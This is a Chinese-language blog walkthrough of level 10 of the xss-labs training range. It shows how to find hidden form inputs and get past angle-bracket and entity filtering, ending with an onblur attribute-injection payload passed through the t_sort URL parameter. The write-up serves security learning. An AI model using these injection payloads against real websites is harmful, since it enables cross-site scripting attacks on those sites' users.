xss-labs靶场:level10攻略 直线上升的难度

我们经过了前面九关的洗礼,对xss的攻击方式有了基础的了解和认识,但是第十关的难度可能是比较大的,我们一起来看看:

我们观察一下页面,并没有发现可以输入内容的控件,所以我们没法从页面中输入我们的payload,但是我们发现网页的URL中有一个keyword参数

https://bc.mzfxshs.top/xss/level10.php?keyword=aaaaaaa

 我们在keyword中传入的内容会在页面中显示出来:

所以我们尝试直接从URL里传入我们的payload:

keyword=<script>alert(/xss/)</script>

<h2 align="center">没有找到和&lt;script&gt;alert(/xss/)&lt;/script&gt;相关的结果.</h2>

但是很显然我们传入的符号被实体化了,我们很难闭合前后的标签,我们只能重新寻找思路

 我们发现在网页中再也找不到可以利用的东西了,那么会不会是被隐藏了呢???

我们用F12打开开发者工具,我们来查看一下页面的源代码:

我们发现了一个表单!!!

<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

 在这里,我们发现了三个输入框,不过他们都被隐藏了(type="hidden")!

看到这里我们的思路大概已经清楚了,我们尝试从这三个参数下手:t_link  t_history  t_sort

我们就从t_sort参数下手吧,从URL中传入参数:

bc.mzfxshs.top/xss/level10.php?t_sort="<script>alert("xss")</script>

但是我们很快发现狡猾的程序过滤了<>等符号

于是我们尝试对Payload进行编码:

&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;

然而我们还是失败了,分析后发现,程序竟然也对&#符号进行了过滤!!!

让我们再次转换思路,构造一个不需要<>等符号的语句,不知道大家还记不记得前面文章中提到的onblur属性,它让我们可以在移出输入框后执行指定的代码,于是我们很轻易以下的Payload

bc.mzfxshs.top/xss/level10.php?t_sort="οnblur="alert(/xss/)"//

但很快新的问题又来了:

我们知道onblur的使用必须要有输入框的存在,但是页面中还是没有输入框出现,此时我们就需要再次构造payload,使在页面中隐藏的文本框隐藏起来:

<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" onblur="alert(" xss")"="" "="" type="hidden">
</form>

怎么构造呢?我们可以自定义一个属性type="test"其作用是让输入框显示出来而不是被隐藏,至于后面原本的type="hidden"我们则可以直接用//注释掉,这样就对我们没有任何影响了,基于这些分析,我们便构造了以下的payload:

bc.mzfxshs.top/xss/level10.php?t_sort="οnblur="alert(/xss/)" type="text"//

传入后发现我们成功了!!!

这一关主要考察了我们的观察力和对xss的综合利用能力,我们要善于从页面源代码中观察和分析来打破僵局,并灵活的利用xss来修改控件的属性来达成我们的目的 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值